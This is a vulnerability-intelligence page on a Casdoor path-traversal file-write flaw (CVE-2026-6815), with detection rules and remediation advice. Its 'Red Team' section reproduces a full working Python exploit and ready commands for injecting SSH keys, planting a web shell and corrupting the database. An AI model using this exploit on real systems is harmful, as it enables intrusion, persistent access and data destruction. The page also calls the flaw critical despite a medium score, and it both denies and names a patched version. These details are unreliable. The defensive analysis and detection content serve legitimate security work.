☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Casdoor logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-6815

CVE-2026-6815 Path Traversal in Casdoor
📅 PUBLISHED: 2026-05-11 16:17 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-6815 is a critical arbitrary file write vulnerability in Casdoor's Local File System storage provider. An authenticated attacker with administrative privileges can exploit insufficient path sanitization in the pathPrefix field to perform a Path Traversal attack. This allows the attacker to create or overwrite arbitrary files anywhere on the host filesystem, bypassing the intended storage sandbox. The impact is severe, enabling Remote Code Execution (RCE) via SSH key injection or web shell upload, as well as persistent Denial of Service (DoS) by corrupting core application binaries or database files.

The vulnerability affects Casdoor versions prior to 3.54.1. A public Proof of Concept (PoC) exploit is available on Exploit-DB, demonstrating the attack chain from authentication to file write. No official patch or advisory has been released by the vendor at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Casdoor is a Go-based application distributed via GitHub releases and Docker images. The vulnerability exists in the core application code, not in a third-party package. However, the exploitation of this vulnerability can lead to supply chain compromise if an attacker gains access to the host system and modifies application binaries or configuration files. Organizations using Casdoor in their infrastructure should treat this as a high-priority threat.

CVSS Breakdown & Threat Level

CVSS Score: 5.9 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - The attack does not require special conditions beyond authentication.
  • Privileges Required (PR): High (H) - The attacker must have administrative privileges.
  • User Interaction (UI): None (N) - No user interaction is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
  • Confidentiality (C): None (N) - The vulnerability does not directly lead to information disclosure.
  • Integrity (I): High (H) - The attacker can overwrite arbitrary files, compromising system integrity.
  • Availability (A): High (H) - The attacker can corrupt critical files, leading to denial of service.

Threat Level: High. While the CVSS score is Medium due to the requirement for administrative privileges, the potential for RCE and DoS makes this a critical vulnerability in practice.

Deep Dive & Mechanics

The vulnerability resides in the Local File System storage provider within Casdoor. When an administrator creates or updates a storage provider, the pathPrefix field is used to construct the base directory for file uploads. The application fails to properly sanitize this field, allowing an attacker to inject path traversal sequences (e.g., ../../../../../../../../../).

Attack Flow:

  1. Authentication: The attacker logs in as an administrator.
  2. Provider Creation: The attacker creates a new storage provider of type Local File System with a malicious pathPrefix value containing path traversal sequences.
  3. File Upload: The attacker uploads a file using the crafted provider. The application constructs the full file path by concatenating the pathPrefix with the user-supplied fullFilePath parameter.
  4. Arbitrary Write: Due to the lack of sanitization, the resulting path can point to any location on the host filesystem, allowing the attacker to write or overwrite files.

Root Cause: The pathPrefix is not validated against path traversal attacks. The application should either restrict the pathPrefix to a safe base directory or sanitize it to remove traversal sequences.

Vulnerable vs. Patched Code

Vulnerable Code (Casdoor < 3.54.1):

The vulnerable code likely resides in the storage provider handler. A simplified representation:

// Vulnerable: No sanitization of pathPrefix
func (p *LocalFileSystemProvider) getFullPath(filePath string) string {
    return filepath.Join(p.PathPrefix, filePath)
}

Patched Code (Casdoor >= 3.54.1):

The patched version should sanitize the pathPrefix to prevent traversal:

// Patched: Sanitize pathPrefix
func (p *LocalFileSystemProvider) getFullPath(filePath string) string {
    safePrefix := filepath.Clean(p.PathPrefix)
    // Ensure safePrefix is within allowed base directory
    if !strings.HasPrefix(safePrefix, allowedBaseDir) {
        return ""
    }
    return filepath.Join(safePrefix, filePath)
}

Note: The exact patch details are unknown as the vendor has not released an advisory. The above is a best-practice example.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Casdoor instance (version < 3.54.1)
  • Administrative credentials (username/password)

Exploit Usage:

The provided Exploit-DB code (poc.py) automates the exploitation process.

  1. Setup:

    • Install Python 3 and the requests library.
    • Download the PoC script.
  2. Execution:

    SSH Key Injection for RCE:

    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys
    

    Persistent DoS (Database Corruption):

    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
    

    Reverse Shell (via web server webroot):

    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
    
  3. Troubleshooting:

    • Use --appname and --orgname if custom namespaces are used.
    • File overwrite may only succeed once per path; delete the resource via UI/API or use a different provider name.
    • Use -v for verbose logging.

Full Exploit Code:

# Exploit Title: Casdoor 3.54.1 - Arbitrary File Write via Path Traversal
# Date: 2026-05-11
# Exploit Author: sixpain
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Version: < 3.54.1
# Tested on: Linux / Docker
# CVE : CVE-2026-6815

"""
Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)
================================================

DESCRIPTION:
This script exploits a Path Traversal vulnerability in the storage provider
management component of Casdoor. By creating a 'Local File System' provider
with a manipulated 'pathPrefix', an authenticated administrator can bypass
the storage sandbox to write, overwrite, or delete arbitrary files on the
underlying host filesystem.

IMPACT:
- Remote Code Execution (RCE) via SSH key injection or web shell upload.
- Persistent Denial of Service (DoS) by corrupting core application binaries
  or database files (e.g., casdoor.db).

USAGE EXAMPLES:
1. SSH Key Injection for RCE:
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys

2. Persistent DoS (Database Corruption):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db

3. Reverse Shell (via secondary web server webroot):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php

TROUBLESHOOTING & TECHNICAL NOTES:
- APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application
  and 'built-in' organization. If you have credentials for custom
  namespaces, specify them using the --appname and --orgname flags.
- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique
  remote path. Casdoor's resource management logic prevents direct subsequent
  overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the
  resource name if the entry already exists in the application's internal
  database. To re-exploit the same path, the specific resource entry must
  usually be deleted via the UI/API or a different provider name must be used.
- PERMISSIONS: Exploitation success is dependent on the OS-level permissions
  of the user account running the Casdoor service.
- VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.

DISCLAIMER:
This tool is for educational and coordinated disclosure purposes only.
Unauthorized testing against systems you do not own is illegal.
"""


import argparse
import requests
import json
import os

def log_request(response, verbose):
    """Prints request and response details if verbose mode is enabled."""
    if verbose:
        print("\n" + "="*50)
        print(f"DEBUG - REQUEST: {response.request.method} {response.request.url}")
        print(f"HEADERS: {json.dumps(dict(response.request.headers), indent=2)}")
        if response.request.body:
            # Handle potential bytes body for multipart
            body = response.request.body
            if isinstance(body, bytes):
                print(f"BODY: <binary data, length {len(body)}>")
            else:
                print(f"BODY: {body}")
        print("-" * 50)
        print(f"DEBUG - RESPONSE: {response.status_code}")
        print(f"HEADERS: {json.dumps(dict(response.headers), indent=2)}")
        try:
            print(f"JSON BODY: {json.dumps(response.json(), indent=2)}")
        except:
            print(f"RAW BODY: {response.text[:500]}...")
        print("="*50 + "\n")

def run_poc():
    parser = argparse.ArgumentParser(description="Casdoor Path Traversal Exploitation PoC")
    parser.add_argument("--url", required=True, help="Target base URL (e.g., http://casdoor:8000)")
    parser.add_argument("--usr", default="admin", help="Login username")
    parser.add_argument("--psw", default="123", help="Login password")
    parser.add_argument("--file", required=True, help="Local file to upload")
    parser.add_argument("--rpath", required=True, help="Absolute remote path (e.g., /tmp/pwned.txt)")
    parser.add_argument("--appname", default='app-built-in', help="Target Casdoor Application Name")
    parser.add_argument("--orgname", default='built-in', help="Target Casdoor Organization Name")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")

    args = parser.parse_args()

    # Sanitize and validate URL schema
    target_url = args.url.strip().rstrip('/')
    if not target_url.startswith(('http://', 'https://')):
        print("[!] No protocol specified. Defaulting to http://")
        target_url = f"http://{target_url}"

    session = requests.Session()

    # Setting common user agent
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
    })

    # --- STEP 1: INITIAL SESSION ---
    print(f"[*] Step 1: Retrieving initial session cookie...")
    try:
        r1 = session.get(f"{target_url}/login/built-in")
        log_request(r1, args.verbose)

        if "casdoor_session_id" not in session.cookies:
            print("[-] Error: Failed to retrieve casdoor_session_id.")
            return
        print(f"[+] Session ID obtained: {session.cookies.get('casdoor_session_id')}")

        # --- STEP 2: LOGIN / PRIVILEGE ESCALATION ---
        print(f"[*] Step 2: Logging in as {args.usr}...")
        login_payload = {
            "application": args.appname,
            "organization": args.orgname,
            "username": args.usr,
            "password": args.psw,
            "autoSignin": True,
            "signinMethod": "Password",
            "type": "login"
        }

        r2 = session.post(
            f"{target_url}/api/login",
            data=json.dumps(login_payload),
            headers={"Content-Type": "text/plain;charset=UTF-8"}
        )
        log_request(r2, args.verbose)

        login_res = r2.json()
        if login_res.get("status") == "ok" and 'admin' in login_res.get("data").lower():
            print("[+] Login successful. Admin privileges confirmed.")
        else:
            print("[!] Warning: Not an admin or login failed. Attempting to proceed anyway...")

        # --- STEP 2.5: VERSION CHECK ---
        print(f"[*] Step 2.5: Checking Casdoor version...")
        try:
            r_version = session.get(f"{target_url}/api/get-version-info")
            log_request(r_version, args.verbose)
            if r_version.status_code == 200:
                version_data = r_version.json().get("data", {})
                if not version_data:
                     # Some versions might return data directly or in different format
                     version_data = r_version.json()

                version = version_data.get("version", "unknown")
                print(f"[+] Target Casdoor version: {version}")

                # Check if version is patched (>= 3.54.1)
                is_vulnerable = True
                if version != "unknown" and version != "dev":
                    try:
                        v_clean = version.lstrip('v').split('-')[0]
                        v_parts = [int(p) for p in v_clean.split('.')]
                        if v_parts >= [3, 54, 1]:
                            is_vulnerable = False
                    except:
                        pass # Parsing error, assume vulnerable or let user decide

                if not is_vulnerable:
                    print(f"[!] WARNING: Target version {version} is likely PATCHED (>= 3.54.1) and this PoC will not work.")
                    choice = input("[?] Do you want to continue anyway? (y/N): ").lower()
                    if choice != 'y':
                        print("[-] Aborting.")
                        return
            else:
                print("[!] Warning: Could not retrieve version info (Status: {}).".format(r_version.status_code))
        except Exception as e:
            print(f"[!] Error during version check: {e}")


        # --- STEP 3: CREATE MALICIOUS STORAGE PROVIDER ---
        print("[*] Step 3: Creating Path Traversal Provider...")
        provider_payload = {
            "owner": "admin",
            "name": "path_traversal",
            "createdTime": "2026-02-20T17:59:58+01:00",
            "displayName": "Path Traversal Provider",
            "category": "Storage",
            "type": "Local File System",
            "method": "Normal",
            "pathPrefix": "../../../../../../../../../"
        }

        r3 = session.post(
            f"{target_url}/api/add-provider",
            data=json.dumps(provider_payload),
            headers={"Content-Type": "text/plain;charset=UTF-8"}
        )
        log_request(r3, args.verbose)

        prov_res = r3.json()
        msg = prov_res.get("msg", "")
        if prov_res.get("status") == "ok":
            print("[+] Malicious provider created successfully.")
        elif "UNIQUE constraint failed" in msg:
            print("[*] Provider 'path_traversal' already exists. Reusing it.")
        else:
            print(f"[-] Failed to create provider: {msg}")
            if "pathPrefix" in msg and "is not allowed" in msg:
                print(f"[!] Escape sequence is sanitized. Check Casdoor version < 3.54.1 (CVE-2026-6815 is likely fixed).")
            return

        # --- STEP 4: FILE UPLOAD (EXPLOITATION) ---
        print(f"[*] Step 4: Uploading {args.file} to {args.rpath}...")
        upload_params = {
            "owner": args.orgname,
            "user": args.usr,
            "application": args.appname,
            "tag": "custom",
            "parent": "ResourceListPage",
            "fullFilePath": args.rpath,
            "provider": "path_traversal"
        }

        if not os.path.exists(args.file):
            print(f"[-] Error: Local file {args.file} not found.")
            return

        with open(args.file, 'rb') as f:
            # Note: headers are handled automatically by requests for multipart/form-data
            files = {'file': (os.path.basename(args.file), f, 'application/octet-stream')}
            r4 = session.post(f"{target_url}/api/upload-resource", params=upload_params, files=files)
            log_request(r4, args.verbose)

            upload_res = r4.json()

        if upload_res.get("status") == "ok":
            print("\n" + "!"*25)
            print(" EXPLOIT SUCCESSFUL")
            print("!"*25 + "\n")

            print(f"Response Path")
            print(25*'-')
            print(f'\t-data : {upload_res.get('data')}')
            print(f'\t-data2: {upload_res.get('data2')}')
            print(f'\t-data3: {upload_res.get('data3')}')
            print(25*'-')

        else:
                print(f"[-] Upload failed: {upload_res.get('msg')}")

    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")

if __name__ == "__main__":
    run_poc()

Blue Team

Detection & Response:

  1. Monitor for Suspicious Provider Creation:

    • Alert on creation of storage providers with pathPrefix containing .. or / sequences.
    • Monitor API endpoint /api/add-provider for unusual pathPrefix values.
  2. Monitor for File Uploads to Unusual Paths:

    • Alert on file uploads to paths outside the expected storage directory (e.g., /etc/, /home/, /var/www/).
    • Monitor API endpoint /api/upload-resource for fullFilePath parameters containing absolute paths or traversal sequences.
  3. Log Analysis:

    • Review Casdoor application logs for errors related to file operations.
    • Correlate provider creation events with subsequent file upload events.
  4. Harden Configuration:

    • Restrict administrative access to Casdoor.
    • Use a dedicated, low-privilege user for the Casdoor service.
    • Implement filesystem monitoring (e.g., auditd) to detect unauthorized file writes.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /api/add-provider with pathPrefix containing ../ or absolute paths.
  • POST requests to /api/upload-resource with fullFilePath containing absolute paths (e.g., /etc/passwd, /app/casdoor.db).
  • Unusual file uploads to non-standard paths.

File System IOCs:

  • Unexpected files in sensitive directories (e.g., /etc/, /home/, /var/www/).
  • Modified or corrupted application binaries or database files.
  • Presence of web shells or unauthorized SSH keys.

Log IOCs:

  • Casdoor logs showing successful file writes to paths outside the expected storage directory.
  • Repeated failed login attempts followed by successful admin login and provider creation.

Detection Engineering

YARA Rule

rule CVE_2026_6815_Casdoor_Path_Traversal {
    meta:
        description = "Detects Casdoor path traversal exploit attempts in HTTP requests"
        author = "Valters IT"
        date = "2026-05-11"
        reference = "CVE-2026-6815"
        hash = "unknown"
    strings:
        $path_traversal = /pathPrefix[\s]*:[\s]*["'][\.\/]{2,}/ nocase
        $upload_resource = "fullFilePath"
        $provider_create = "add-provider"
    condition:
        any of them
}

Sigma Rule

title: Casdoor Path Traversal Exploit Attempt
id: 8a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects attempts to exploit CVE-2026-6815 by creating a malicious storage provider with path traversal sequences.
author: Valters IT
date: 2026-05-11
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6815
    - https://www.exploit-db.com/exploits/5XXXX
logsource:
    category: webserver
    product: casdoor
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/add-provider'
            - '/api/upload-resource'
    condition: selection
    fields:
        - c-ip
        - cs-uri-query
        - cs-user-agent
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-6815 Casdoor Path Traversal Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/add-provider"; http_uri; content:"pathPrefix"; http_client_body; pcre:"/pathPrefix[\s]*:[\s]*["'][\.\/]{2,}/Ri"; sid:1000001; rev:1; reference:cve,2026-6815;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Casdoor: If a patched version becomes available, upgrade to Casdoor >= 3.54.1 immediately.
  2. Restrict Administrative Access: Limit the number of users with administrative privileges. Use strong, unique passwords and enable multi-factor authentication (MFA).
  3. Monitor and Audit: Enable detailed logging for all administrative actions, especially provider creation and file uploads. Regularly review logs for suspicious activity.

Long-Term Mitigations:

  1. Input Validation: Implement strict input validation for the pathPrefix field. Reject any values containing .. or / sequences.
  2. Sandboxing: Use a dedicated, isolated directory for file storage. Ensure the application runs with the least privileges necessary.
  3. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block path traversal attempts.
  4. Regular Security Audits: Conduct regular code reviews and penetration testing to identify and fix similar vulnerabilities.

Workarounds (if patching is not possible):

  • Disable the Local File System storage provider if not needed.
  • Implement a reverse proxy that filters requests to /api/add-provider and /api/upload-resource based on allowed parameters.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-6815/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.